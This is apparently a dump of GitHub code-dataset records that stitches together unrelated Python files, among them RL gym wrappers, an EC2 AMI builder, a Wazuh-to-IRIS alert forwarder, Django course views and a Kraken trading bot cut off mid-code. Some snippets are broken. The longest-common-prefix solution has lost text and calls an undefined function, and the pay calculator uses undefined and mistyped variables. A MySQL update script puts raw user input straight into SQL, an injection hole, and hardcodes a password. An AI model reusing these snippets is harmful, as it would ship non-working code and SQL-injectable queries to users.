env.reset()\n print(\"Before FrameStack, observation.shape =\", obs.shape) # (1, 3)\n\n frame_stack_env = VecFrameStack(env, n_stack=4) # 叠加连续的 4 帧组成状态\n obs = frame_stack_env.reset()\n print(\"After FrameStack, observation.shape =\", obs.shape) # (1, 12)\n\n\nif __name__ == '__main__':\n # test_time_limit_wrapper()\n # test_normalize_action_wrapper()\n # test_monitor()\n # test_vec_normalize()\n test_frame_stack()\n\n\n\n","repo_name":"Baichenjia/Stable-Baselines-Basic","sub_path":"4-Gym-wrapper.py","file_name":"4-Gym-wrapper.py","file_ext":"py","file_size_in_byte":5317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7059144327","text":"import pathlib\n\nimport click\nimport PyQt5.uic\n\n\n@click.command()\n@click.option(\n \"--ui\",\n \"ui_paths\",\n multiple=True,\n type=click.Path(exists=True, dir_okay=False),\n)\n@click.option(\n \"--directory\",\n \"--dir\",\n \"directories\",\n default=[\".\"],\n multiple=True,\n type=click.Path(exists=True, file_okay=False),\n)\n@click.option(\"--suffix\", default=\"_ui\")\n@click.option(\"--encoding\", default=\"utf-8\")\ndef cli(ui_paths, directories, suffix, encoding):\n ui_paths = [pathlib.Path(path) for path in ui_paths]\n\n for directory in directories:\n path = pathlib.Path(directory)\n found_paths = path.rglob(\"*.ui\")\n ui_paths.extend(found_paths)\n\n for path in ui_paths:\n in_path = path\n out_path = path.with_name(f\"{path.stem}{suffix}.py\")\n\n click.echo(f\"Converting: {in_path} -> {out_path}\")\n with open(out_path, \"w\", encoding=encoding) as out_file:\n PyQt5.uic.compileUi(in_path, out_file)\n","repo_name":"epcpower/stlib","sub_path":"epyqlib/compileui.py","file_name":"compileui.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"9920674960","text":"#!/usr/bin/python2\n\nimport boto3, argparse, urllib, time, json, subprocess, os.path\nimport argparse\n\nclass Metadata(object):\n base = 'http://169.254.169.254/latest/meta-data/'\n def _get(self, what):\n return urllib.urlopen(Metadata.base + what).read()\n def instance_id(self):\n return self._get('instance-id')\n def availability_zone(self):\n return self._get('placement/availability-zone')\n def region(self):\n return self.availability_zone()[:-1]\n\ndef wait_for(ec2_obj, status='available'):\n while ec2_obj.state != status:\n #print('object status {} wanted {}'.format(ec2_obj.status, status))\n time.sleep(1)\n ec2_obj.reload()\n\n#input = '/home/ubuntu/capstan-java-example.img'\ninput = '/home/ubuntu/small-osv-node.img'\n\ndef to_gib(size):\n gib = 1 << 30\n return (size + gib - 1) >> 30\n\ndef image_size(filename):\n info = json.loads(subprocess.check_output(['qemu-img', 'info', '--output=json', filename]))\n return info['virtual-size']\n\ndef copy_image(img, out):\n subprocess.check_call(['sudo', 'cp', img, out])\n\ndef make_ami(input, name):\n metadata = Metadata()\n print('Connecting')\n conn = boto3.resource('ec2',region_name=\"us-west-2\")\n #conn = ec2.connect_to_region(metadata.region())\n print('Creating volume')\n vol = conn.create_volume(Size=to_gib(image_size(input)),\n AvailabilityZone=metadata.availability_zone(),\n )\n print('Waiting for {}'.format(vol.id))\n wait_for(vol)\n #vol = conn.describe_volumes([vol.id])[0]\n print('Attaching {} to {}'.format(vol.id, metadata.instance_id()))\n att = vol.attach_to_instance(InstanceId=metadata.instance_id(), Device='xvdf')\n while not os.path.exists('/dev/xvdf'):\n #print('waiting for volume to attach')\n time.sleep(1)\n print('Copying image')\n copy_image(input, '/dev/xvdf')\n print('Detaching {}'.format(vol.id))\n vol.detach_from_instance()\n print('Creating snapshot from {}'.format(vol.id))\n snap = vol.create_snapshot()\n #snap = conn.get_all_snapshots([snap.id])[0]\n wait_for(snap, 'completed')\n print('Deleting {}'.format(vol.id))\n vol.delete()\n print('Registering image from {}'.format(snap.id))\n ami = conn.register_image(Name=name,\n Architecture='x86_64',\n RootDeviceName='xvda',\n VirtualizationType='hvm',\n BlockDeviceMappings=[\n { \n \t\t\t\t'Ebs': {\n \t \t\t\t 'SnapshotId': snap.id,\n \t\t\t'VolumeSize': 123,\n \t\t\t 'DeleteOnTermination': True\n }\n \t\t\t},\n\t\t\t ])\n print('ami {} created\\n'.format(ami))\n return ami\n\nif __name__ == \"__main__\":\n # Parse arguments\n parser = argparse.ArgumentParser(prog='run')\n parser.add_argument(\"-n\", \"--name\", action=\"store\", default=\"test-ami\",\n help=\"ami name to be created\")\n\n args = parser.parse_args()\n make_ami(input, args.name)\n","repo_name":"ClosingBracket/osv","sub_path":"scripts/ec2-make-MY-ami.py","file_name":"ec2-make-MY-ami.py","file_ext":"py","file_size_in_byte":3127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"73897859291","text":"import mysql.connector\nconn = mysql.connector.connect(\n host=\"localhost\",\n user=\"developer\",\n password=\"12\",\n database=\"dbpython\"\n)\n\ncursor = conn.cursor()\n\nnome_produto = input(\"Insira o nome do produto que deseja alterar:\")\npergunta = input(\"Deseja alterar o valor do produto:\")\nif pergunta == 'sim' or 's':\n print(\"***Lembre-se de não utilizar virgulas para definir o valor, e sim um ponto!***\")\n valor = input(\"Insira o novo valor do produto:\")\n comando = f'UPDATE vendas SET valor = {valor} WHERE nome_produto = \"{nome_produto}\"'\n cursor.execute(comando)\n conn.commit()\n print(\"As alterações foram feitas com sucesso!\")\n\nelse:\n print(\"O Serviço de update foi finalizado sem nenhuma modificação!\")\n\ncursor.close()\nconn.close()\n","repo_name":"CloudEducationBrazil/WydenPythonParadigmas","sub_path":"08 SourceCodePython/aula26032022/deividy/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"pt","doc_type":"code","stars":11,"dataset":"github-code","pt":"32"} +{"seq_id":"13633181703","text":"# Using Divide and Conquer\nclass Solution:\n def longestCommonPrefix(self, strs) -> str:\n def commonWordBetweenTwoWords(l_str,r_str):\n longest_prefix= min(len(l_str),len(r_str))\n i=0\n while i= end:\n return strs[start]\n else:\n mid_point= (start+end)//2\n left= help_recursion(str_list,start,mid_point)\n right= help_recursion(str_list,mid_point+1,end)\n return commonWordBetweenTwoWords(left,right)\n if len(strs) == 0:\n return \"\"\n else:\n return help(strs,0,len(strs)-1)\n \n \n ","repo_name":"ruifan831/leetCodeRecord","sub_path":"14_LongestCommonPrefix.py","file_name":"14_LongestCommonPrefix.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38167151767","text":"from os import getenv\n\n# Namespace grouping the project components and RabbitMQTrigger objects\nTRIGGERS_NAMESPACE = getenv('TRIGGERS_NAMESPACE')\n\n# Group of the trigger CRD\nTRIGGERS_GROUP = getenv('TRIGGERS_GROUP')\n\n# k8s ApiVersion of the trigger CRD\nTRIGGERS_VERSION = getenv('TRIGGERS_VERSION')\n\n# Plural name of the trigger CRD\nTRIGGERS_PLURAL = getenv('TRIGGERS_PLURAL')\n\n# Name of the secret containing the triggers store\nTRIGGERS_STORE_SECRET = getenv('TRIGGERS_PLURAL')\n\n# Key in which to store the triggers global state on the secret\nTRIGGERS_SECRET_KEY = 'triggers_store'\n\n# Deployment name of the RabbitMQ events proxy\nEVENTS_PROXY_DEPLOYMENT = getenv('EVENTS_PROXY_DEPLOYMENT')\n","repo_name":"ivanvmoreno/bachelor-project","sub_path":"rabbitmq-trigger-operator/app/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"16729350005","text":"#!/usr/bin/env python3\n# custom-iris.py\n# Custom Wazuh integration script to send alerts to DFIR-IRIS\n\nimport sys\nimport json\nimport requests\nfrom requests.auth import HTTPBasicAuth\n\n# Function to search for and extract the \"message\" field\ndef find_message_field(data):\n if isinstance(data, dict):\n if \"message\" in data:\n return data[\"message\"]\n for key, value in data.items():\n result = find_message_field(value)\n if result is not None:\n return result\n elif isinstance(data, list):\n for item in data:\n result = find_message_field(item)\n if result is not None:\n return result\n return None\n\n# Read parameters when integration is run\nalert_file = sys.argv[1]\napi_key = sys.argv[2]\nhook_url = sys.argv[3]\n\n# Read the alert file\nwith open(alert_file) as f:\n alert_json = json.load(f)\n\n# Extract field information\nalert_id = alert_json[\"id\"]\nalert_timestamp = alert_json[\"timestamp\"]\nalert_level = alert_json[\"rule\"][\"level\"]\nalert_title = alert_json[\"rule\"][\"description\"]\nalert_description = find_message_field(alert_json[\"data\"])\nagent_name = alert_json[\"agent\"][\"name\"]\nagent_ip = alert_json[\"agent\"][\"ip\"]\nagent_id = alert_json[\"agent\"][\"id\"]\nrule_id = alert_json[\"rule\"][\"id\"]\nrule_fires = alert_json[\"rule\"][\"firedtimes\"]\nalert_data = alert_json[\"data\"]\nalert_message = find_message_field(alert_json[\"data\"])\n\n# Convert Wazuh rule levels -> IRIS severity\nif(alert_level < 5):\n severity = 2\nelif(alert_level >= 5 and alert_level < 7):\n severity = 3\nelif(alert_level >= 7 and alert_level < 10):\n severity = 4\nelif(alert_level >= 10 and alert_level < 13):\n severity = 5\nelif(alert_level >= 13):\n severity = 6\nelse:\n severity = 1\n\n# Generate request\n# Reference: https://docs.dfir-iris.org/_static/iris_api_reference_v2.0.1.html#tag/Alerts/operation/post-case-add-alert\npayload = json.dumps({\n \"alert_title\": alert_title,\n \"alert_description\": f\"\"\"Agent ID: {agent_id}\nAgent IP: {agent_ip}\nAgent Name: {agent_name}\n\nAlert Details: {alert_description}\n\"\"\",\n \"alert_source\": \"Wazuh\",\n \"alert_source_ref\": alert_id,\n \"alert_source_link\": \"WAZUH_URL\",\n \"alert_severity_id\": severity, \n \"alert_status_id\": 2, # 'New' status\n \"alert_source_event_time\": alert_timestamp,\n \"alert_note\": \"\",\n \"alert_tags\": \"wazuh,\" + agent_name,\n \"alert_customer_id\": 1, # '1' for default 'IrisInitialClient'\n \"alert_source_content\": alert_json # raw log\n})\n\n# Send request to IRIS\nresponse = requests.post(hook_url, data=payload, headers={\"Authorization\": \"Bearer \" + api_key, \"content-type\": \"application/json\"})\n\nsys.exit(0)\n","repo_name":"maikroservice/Wazuh-IRIS-integration","sub_path":"custom-iris.py","file_name":"custom-iris.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"33835729908","text":"import pandas as pd\nfrom utils import limpar_texto\n\ndef carregar_nomes():\n nomes = pd.read_csv(\"dados/nomes.csv\")\n\n # Limpar first_name para busca\n nomes.first_name = nomes.first_name.apply(limpar_texto)\n\n return nomes\n\ndef obter_dados_por_nome(nomes, meu_nome):\n # Limpar meu_nome para busca\n meu_nome = limpar_texto(meu_nome)\n\n linha = nomes[nomes.first_name == meu_nome].iloc[0]\n \n return linha\n\ndef imprimir_saida(linha):\n texto_saida = f\"\"\"Nome: {linha.first_name}\nGênero: {linha.classification}\nProbabilidade: {linha.ratio}\nNomes alternativos: {linha.alternative_names}\"\"\"\n print(texto_saida)","repo_name":"ricardocarvalhods/projeto-zero","sub_path":"nomes.py","file_name":"nomes.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"5046306189","text":"from django.shortcuts import render\nfrom django.views.generic.base import View\nfrom django.db.models import Count, Avg, Max, Min, Sum\nfrom django.core.paginator import Paginator,EmptyPage,PageNotAnInteger\nfrom django.http.response import HttpResponse\n\nfrom Organization.models import CityDict,CourseOrg,Teacher\nfrom Courses.models import Course\nfrom Openation.models import UserFavorite\nfrom Organization.pager import CustomPaginator\nfrom pure_pagination import Paginator, EmptyPage, PageNotAnInteger\nfrom Organization.ask_form import AskForm\n\n# class OrgList(View):\n# \"\"\"\n# 机构列表,不适用github的分页,我们应该怎么做\n# \"\"\"\n# def get(self,request):\n# city_list = CityDict.objects.all()\n# org_list = CourseOrg.objects.all()\n# #聚合函数\n# nums = CourseOrg.objects.aggregate(k=Count('id',distinct=True))\n#\n# #django内置的分页,用好这个,分页组件更好用了\n# # 全部数据:Org_LIST,=》得出共有多少条数据\n# # per_page: 每页显示条目数量\n# # count: 数据总个数\n# # num_pages:总页数\n# # page_range:总页数的索引范围,如: (1,10),(1,200)\n# # page: page对象(是否具有下一页;是否有上一页;)\n# current_page = request.GET.get('page')\n# # Paginator对象\n# paginator = CustomPaginator(current_page, 9, org_list, 3)\n# try:\n# # Page对象\n# posts = paginator.page(current_page)\n# # has_next 是否有下一页\n# # next_page_number 下一页页码\n# # has_previous 是否有上一页\n# # previous_page_number 上一页页码\n# # object_list 分页之后的数据列表,已经切片好的数据\n# # number 当前页\n# # paginator paginator对象\n# except PageNotAnInteger:\n# posts = paginator.page(1)\n# except EmptyPage:\n# posts = paginator.page(paginator.num_pages)\n#\n# return render(request,'org-list.html',{\n# 'city_list':city_list,\n# 'posts':posts,\n# 'nums':nums,\n# })\n\n#自定制的组件不够理想\n\n\nclass OrgList(View):\n \"\"\"\n 机构,这里这种做法,其实是不合理的\n 这里没有改他的代码了,前端不太好\n 这里是这个项目最难的地方\n \"\"\"\n def get(self, request):\n city_list = CityDict.objects.all()\n org_list = CourseOrg.objects.all()\n hot_org = org_list.order_by('-click_nums')[:5]\n #聚合函数\n city_id = request.GET.get('city',0)\n if city_id:\n org_list= org_list.filter(city_id=int(city_id)).select_related('city')\n else:\n org_list = org_list.filter().select_related('city')\n category = request.GET.get('ct','')\n if category:\n org_list = org_list.filter(category=category)\n else:\n org_list = org_list.filter()\n sorts = request.GET.get('sort','')\n if sorts:\n if sorts == 'students':\n org_list=org_list.order_by('-students')\n elif sorts == 'courses':\n org_list=org_list.order_by('-courses')\n nums = org_list.count()\n try:\n page = request.GET.get('page', 1)\n except PageNotAnInteger:\n page = 1\n # Provide Paginator with the request object for complete querystring generation\n\n #(5)每一页显示的数量\n p = Paginator(org_list,2, request=request)\n\n orgs = p.page(page)\n\n return render(request,'org-list.html',\n {\"city_list\":city_list,\n 'org_list':orgs,\n 'nums':nums,\n 'city_id':city_id,\n 'category':category,\n 'hot_org':hot_org,\n 'sort':sorts\n })\n\n\nclass UserAsk(View):\n '''\n 用户提交询问,用ajax方式提交\n '''\n def post(self,request):\n user_ask = AskForm(request.POST)\n if user_ask.is_valid():\n user_ask.save(commit=True)\n #第一种\n return HttpResponse(\"{'status':'success'}\",content_type='application/json')\n #第二种import json序列化\n else:\n return HttpResponse(\"{'status':'fail','msg':'访问出错'}\",content_type='application/json')\n\n\n#第一种方法\n# class OrgDetailHome(View):\n# def get(self,request,**kwargs):\n# for k,v in kwargs.items():\n# kwargs[k] = int(v)\n# org_id=kwargs.get('org_id',None)\n# org_course = CourseOrg.objects.filter(id = org_id).first()\n# course_detail = org_course.course_set.all()[:3]\n# return render(request,'org-homepage.html',{\"org_course\":org_course,\"course_detail\":course_detail})\n\n\n# class OrgDetailHome1(View):\n# \"\"\"\n# 差点自定义模板语言\n# \"\"\"\n# def get(self,request,org_id):\n# current_page = 'home'\n# courses_detail = Course.objects.filter(course_org__id = int(org_id)).values('name','image','students',\n# 'learn_time','course_org__name','course_org__image','fav_nums','desc','id')[:2]\n#\n# org_name = CourseOrg.objects.filter(id = int(org_id)).first()\n# teachers = org_name.teacher_set.all()[:2]\n# print(courses_detail)\n# return render(request,'org-homepage.html',{\"courses\":courses_detail,\"teachers\":teachers,\n# \"current_page\":current_page})\n\n\nclass OrgHomeView(View):\n \"\"\"\n 机构首页\n \"\"\"\n def get(self, request, org_id):\n current_page = \"home\"\n course_org = CourseOrg.objects.filter(id=int(org_id)).first()\n all_courses = course_org.course_set.all()[:3]\n all_teachers = course_org.teacher_set.all()[:1]\n has_fav = False\n print(request.user)\n if request.user.is_authenticated():\n if UserFavorite.objects.filter(user=request.user, fav_id=course_org.id, fav_type=2):\n has_fav = True\n return render(request, 'org-homepage.html', {\n 'all_courses':all_courses,\n 'all_teachers': all_teachers,\n 'course_org':course_org,\n 'current_page':current_page,\n 'has_fav':has_fav,\n })\n\n\nclass OrgCourseView(View):\n \"\"\"\n 课程机构列表页\n \"\"\"\n\n def get(self, request, org_id):\n current_page = \"course\"\n course_org = CourseOrg.objects.filter(id=int(org_id)).first()\n all_courses = course_org.course_set.all()[:3]\n all_teachers = course_org.teacher_set.all()[:1]\n has_fav = False\n if request.user.is_authenticated():\n if UserFavorite.objects.filter(user=request.user, fav_id=course_org.id, fav_type=2):\n has_fav = True\n return render(request, 'org-detail-course.html', {\n 'all_courses': all_courses,\n 'all_teachers': all_teachers,\n 'course_org': course_org,\n 'current_page': current_page,\n 'has_fav':has_fav\n })\n\n\nclass OrgDescView(View):\n\n def get(self, request, org_id):\n current_page = \"desc\"\n course_org = CourseOrg.objects.filter(id=int(org_id)).first()\n all_courses = course_org.course_set.all()[:3]\n all_teachers = course_org.teacher_set.all()[:1]\n has_fav = False\n if request.user.is_authenticated():\n if UserFavorite.objects.filter(user=request.user, fav_id=course_org.id, fav_type=2):\n has_fav = True\n return render(request, 'org-detail-desc.html', {\n 'all_courses': all_courses,\n 'all_teachers': all_teachers,\n 'course_org': course_org,\n 'current_page': current_page,\n 'has_fav':has_fav,\n })\n\n\nclass OrgTeacherView(View):\n def get(self, request, org_id):\n current_page = \"teacher\"\n course_org = CourseOrg.objects.filter(id=int(org_id)).first()\n has_fav = False\n if request.user.is_authenticated():\n if UserFavorite.objects.filter(user=request.user, fav_id=course_org.id, fav_type=2):\n has_fav = True\n all_courses = course_org.course_set.all()[:3]\n all_teachers = course_org.teacher_set.all()[:1]\n return render(request, 'org-detail-teachers.html', {\n 'all_courses': all_courses,\n 'all_teachers': all_teachers,\n 'course_org': course_org,\n 'current_page': current_page,\n 'has_fav':has_fav,\n })\n\n\nclass OrgFavView(View):\n \"\"\"用户收藏\"\"\"\n def post(self, request):\n fav_id = request.POST.get('fav_id', 0)\n fav_type = request.POST.get('fav_type', 0)\n\n if not request.user.is_authenticated():\n #判断用户登录状态\n print(request.user)\n return HttpResponse('{\"status\":\"fail\", \"msg\":\"用户未登录\"}', content_type='application/json')\n\n\n exist_records = UserFavorite.objects.filter(user=request.user, fav_id=int(fav_id), fav_type=int(fav_type))\n if exist_records:\n #如果记录已经存在, 则表示用户取消收藏\n exist_records.delete()\n if int(fav_type) == 1:\n course = Course.objects.get(id=int(fav_id))\n course.fav_nums -= 1\n if course.fav_nums < 0:\n course.fav_nums = 0\n course.save()\n elif int(fav_type) == 2:\n course_org = CourseOrg.objects.get(id=int(fav_id))\n course_org.fav_nums -= 1\n if course_org.fav_nums < 0:\n course_org.fav_nums = 0\n course_org.save()\n elif int(fav_type) == 3:\n teacher = Teacher.objects.get(id=int(fav_id))\n teacher.fav_nums -= 1\n if teacher.fav_nums < 0:\n teacher.fav_nums = 0\n teacher.save()\n return HttpResponse('{\"status\":\"success\", \"msg\":\"收藏\"}', content_type='application/json')\n else:\n user_fav = UserFavorite()\n if int(fav_id) > 0 and int(fav_type) > 0:\n user_fav.user = request.user\n user_fav.fav_id = int(fav_id)\n user_fav.fav_type = int(fav_type)\n user_fav.save()\n\n if int(fav_type) == 1:\n course = Course.objects.get(id=int(fav_id))\n course.fav_nums += 1\n course.save()\n elif int(fav_type) == 2:\n course_org = CourseOrg.objects.get(id=int(fav_id))\n course_org.fav_nums += 1\n course_org.save()\n elif int(fav_type) == 3:\n teacher = Teacher.objects.get(id=int(fav_id))\n teacher.fav_nums += 1\n teacher.save()\n\n return HttpResponse('{\"status\":\"success\", \"msg\":\"已收藏\"}', content_type='application/json')\n else:\n return HttpResponse('{\"status\":\"fail\", \"msg\":\"收藏出错\"}', content_type='application/json')\n\n\n\n\n","repo_name":"bulangdaoshi/lunix-","sub_path":"MXZX/app/Organization/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21255708194","text":"def computepay(hoursworked, payrate):\r\n #Variables\r\n totalpay = 0\r\n regularhours = 0\r\n overtimehours = 0\r\n regulartimelimit = 40\r\n regularpay = 0\r\n overtimepay = 0\r\n time_half = 1.5\r\n \r\n \r\n #If statement\r\n if hoursworked > regulartimelimit:\r\n regularhours = regulartimelimit\r\n overtimehours = hoursworked - Regulartimelimit\r\n \r\n else:\r\n regularhours = hoursworked\r\n overtimehours = 0\r\n \r\n regular = regularhours * payrate\r\n overtimepay = overtimehours * payrate * time_half\r\n \r\n totalpay = regularpay + overtimepay\r\n return totalpay\r\n#Calling the function\r\nprint (computepay(52, 20))\r\n ","repo_name":"Definitive-edition/Programming-for-IT-Problem-set-3","sub_path":"Exercise 6.py","file_name":"Exercise 6.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12282658960","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 31 22:54:47 2017\n\n@author: dboudeau\n\"\"\"\nimport exchange_krakken as kraken\nimport time,os\nimport persistenceHandler\nimport logging\nimport businessLogic\nimport notifier\nimport math\n\n\n# TODO Creer des classes traders/closed order car la c'est de la pure MERDE\n# TODO Unifier les differentes methodes qui appellent open and close orders. Il y en a plein ca sert à rien\n# TODO SI N ORDRE DE VENTE MANQUE IL FAUT GERER CA ! cf requete unclosed trade\n# TODO Chaque appel de open ou closed order devrait amener a un update de la table close\n\n# Var initialization\nAUTHORIZATION_OF_BUYING=bool(os.environ['AUTHORIZATION_OF_BUYING']=='True')\n# XRP -> XXRPZEUR LTC -> XLTCZEUR ETC -> XETCZEUR\nCURRENCY_CRAWLED_NAME=os.environ['CURRENCY_CRAWLED_NAME']\n# XRP -> XRPEUR LTC -> LTCEUR ETC -> ETCEUR\nCURRENCY_ORDER_NAME=os.environ['CURRENCY_ORDER_NAME']\n# XRP -> XXRP LTC -> XLTC ETC -> XETC\nCURRENCY_BALANCE_NAME=os.environ['CURRENCY_BALANCE_NAME']\n\nNOTIFY_ON_CLOSED_ORDERS=bool(os.environ['NOTIFY_ON_CLOSED_ORDERS']=='True')\n\n# Logging Management\nlogger = logging.getLogger(__name__)\nhandler = logging.StreamHandler()\nformatter = logging.Formatter('%(asctime)s %(name)-12s %(levelname)-8s %(message)s')\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\nlogger.setLevel(logging.DEBUG)\n\n\nkraken.init()\nlist_open_orders=kraken.get_single_open_orders(CURRENCY_ORDER_NAME)\nDONE=0\nNOT_DONE=1\n\n####################11\n# Initialize traders\nWAITING='wait'\nSELLING='sell'\nBUYING='buy'\nCLOSED='closed'\nCANCELED='canceled'\n\nsequence_number=-1\ndef increment_sequence():\n global sequence_number\n sequence_number=sequence_number+1\n return sequence_number\n\n##############################################################\n# TRADING SETUP \n##############################################################\nALLOWED_BUDGET=float(os.environ['ALLOWED_BUDGET'])\nEXPECTED_BENEFIT_BY_TRADER=float(os.environ['EXPECTED_BENEFIT_BY_TRADER'])\nNB_OF_TRADERS=int(os.environ['NB_OF_TRADERS'])\nSTEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE=float(os.environ['STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE'])\nMIN_BUYING_PRICE=float(os.environ['MIN_BUYING_PRICE'])\nMAX_BUYING_PRICE=float(os.environ['MAX_BUYING_PRICE'])\n\nBUDGET_BY_TRADER_LIST=os.environ['BUDGET_BY_TRADER_LIST']\ntemp=BUDGET_BY_TRADER_LIST.split(',')\nBUDGET_BY_TRADER_LIST = []\nfor item in temp:\n BUDGET_BY_TRADER_LIST.append(float(item))\n\nlist_trader=[]\nbuying_price=MAX_BUYING_PRICE\nfor index in range(0,NB_OF_TRADERS):\n # trader (integerId,budget(€),buy_unit_price,buying_order,Status,available_budget,engaged_budget\n list_trader.append([increment_sequence(),BUDGET_BY_TRADER_LIST[index],buying_price,None,WAITING,0.0,0.0])\n buying_price=round(buying_price-STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE,1)\nif(list_trader[NB_OF_TRADERS-1][2]!=MIN_BUYING_PRICE):\n logger.error(\"Something wrong in configuration, minimum buying price (\"+str(MIN_BUYING_PRICE)+\") different from settings (\"+str(list_trader[NB_OF_TRADERS-1][2])+\")\")\n exit(1)\n\n##################################################################\n# COMMON FUNCTIONS\n##################################################################\n \n\ndef safetyCheckOnTradingCurrencySellingOrder(open_orders,owned_volume_of_traded_money):\n logger.info('On initizalization or after cancel order, check if there is no missing selling order')\n sold_volume=0.0\n for order in open_orders:\n if(order.get('type')==SELLING):\n sold_volume=sold_volume+order.get('vol')\n if(abs(owned_volume_of_traded_money - (sold_volume+0.1))>=0.5):\n \n # Particular case : If there is a buying/selling order partially processed, amount can be slightly different:\n logger.info(\"88 Checking for partial orders \")\n sum_buying_partial_selling=0.0\n sum_buying_partial_buying=0.0\n for item in open_orders:\n if (item.get('vol_exec')>0.0):\n if(item.get('type')==SELLING):\n logger.info(\"89-1 Adding \"+str(item.get('vol_exec'))+\" from SELLING order \"+item.get('order_id'))\n sum_buying_partial_selling=sum_buying_partial_selling+item.get('vol_exec')\n else:\n logger.info(\"89-2 Adding \"+str(item.get('vol_exec'))+\" from BUYING order \"+item.get('order_id'))\n sum_buying_partial_buying=sum_buying_partial_buying+item.get('vol_exec')\n \n logger.info(\" Sum partial BUYING order \"+str(sum_buying_partial_buying))\n logger.info(\" Sum partial SELLING order \"+str(sum_buying_partial_selling))\n logger.info(\" Sum of owned_volume_of_traded_money=\"+str(owned_volume_of_traded_money))\n logger.info(\" Sum of sold coins=\"+str(sold_volume))\n logger.info(\" Real sold =\"+str(sold_volume - sum_buying_partial_selling + sum_buying_partial_buying))\n \n \n if(abs(owned_volume_of_traded_money - (round( (sold_volume - sum_buying_partial_selling + sum_buying_partial_buying) ,1) ) )>=0.1):\n logger.info(CURRENCY_BALANCE_NAME+\" Sanity check error (Even with partial orders\")\n notifier.notify('Safety Check failed',CURRENCY_BALANCE_NAME+\" Sanity check error (Even with partial orders)\")\n exit(1)\n else:\n logger.info(CURRENCY_BALANCE_NAME+\" owned volume on exchange (\"+str(owned_volume_of_traded_money)+\") are all in sell mode (\"+str(round( (sold_volume - sum_buying_partial_selling + sum_buying_partial_buying) ,1))+\").Good to go.\")\n\n else:\n logger.info(CURRENCY_BALANCE_NAME+\" owned volume on exchange (\"+str(owned_volume_of_traded_money)+\") are all in sell mode (\"+str(sold_volume)+\").Good to go.\")\n \n # Checking number of open buying orders :\n counter_open_buying_order=0\n for open_order in open_orders:\n if(open_order.get('type')==BUYING):\n counter_open_buying_order=counter_open_buying_order+1\n \n # Test number of buying orders\n if(counter_open_buying_order>1):\n logger.error(\"More than 1 buying order detected\")\n notifier.notify(\"Fatal Error\",\"More than 1 buying order detected\"+str(open_order))\n logger.error(\"Exiting\")\n exit(1) \n \n\ndef calculatedEngagedMoney(volume,unit_sell_price,step_between_unit_sell_and_unit_price):\n buy_trade=volume * round(unit_sell_price-step_between_unit_sell_and_unit_price,2)\n fees=businessLogic.calculate_fee(volume * round(unit_sell_price-step_between_unit_sell_and_unit_price,2))\n engaged_money=math.ceil(buy_trade + fees)\n logger.info(\"Volume buyed was \"+str(volume) +\" at \"+str(round(unit_sell_price-step_between_unit_sell_and_unit_price,2) ))\n logger.info(\" fees were \"+str(fees) )\n logger.info(\" so (ceiled) engaged money was \"+str(float(round(buy_trade + fees,2))) )\n return float(engaged_money)\n\n# Ratio should be different\ndef budgetCalculation(list_trader,number_of_traders,logs=False):\n logger.info(\"------Begin calculating the budget for each trader before buying----\")\n available_budget=0\n for index in range(0,number_of_traders):\n # Define the ratio of the above(s) free traders which is allowed by below traders\n RATIO_OF_ABOVE_BUDGET_ALLOCATED=round((index+1)/number_of_traders,2)\n \n if(list_trader[index][4]==WAITING):\n list_trader[index][5]=round( (available_budget * RATIO_OF_ABOVE_BUDGET_ALLOCATED ) + list_trader[index][1] ,1)\n available_budget=available_budget+list_trader[index][1]\n else:\n list_trader[index][5]=0.0\n\n # Engaged money\n if(list_trader[index][6]>0 and list_trader[index][6]list_trader[index][2] and open_selling_order.get('price')<=round(list_trader[index][2]+STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE,2)):\n logger.info('Mapping order '+open_selling_order.get('order_id')+' - '+str(open_selling_order.get('price'))+' to trader '+str(list_trader[index][0]))\n logger.info('Trader '+str(index)+' ( '+str(list_trader[index][2])+' -> '+str(round(list_trader[index][2]+STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE,2))+')') \n is_order_mapped=True\n # Set up the trader with new status\n list_trader[index][3]=open_selling_order.get('order_id')\n list_trader[index][4]=SELLING\n list_trader[index][5]=0.0\n # Engaged money is selling volume*unit buy_price + fees\n list_trader[index][6]=calculatedEngagedMoney(open_selling_order.get('vol'),list_trader[index][2],STEP_BETWEEN_UNIT_SELL_AND_UNIT_PRICE)\n if(is_order_mapped):\n break;\n if is_order_mapped==False:\n logger.info('Order '+open_selling_order.get('order_id')+' is NOT MAPPED')\n\n# Calculate budget for further tests\nlist_trader=budgetCalculation(list_trader,NB_OF_TRADERS,logs=True)\n\n\n# Check that budget available on exchange is compliant \ntest_required_budget=list_trader[NB_OF_TRADERS-1][5]\ntest_available_budget=kraken.get_balance_EUR()\n\nif(test_available_budget0):\n is_buying_order_canceled_and_partially_executed=True\n \n opening_date=str(coe.get('opentm'))\n closing_date=str(coe.get('closetm'))\n\n # Don't send notification and dont store cancel order\n if(status!=CANCELED or is_buying_order_canceled_and_partially_executed==True):\n # Notify\n if(NOTIFY_ON_CLOSED_ORDERS==True):\n specific_text=\"\"\n 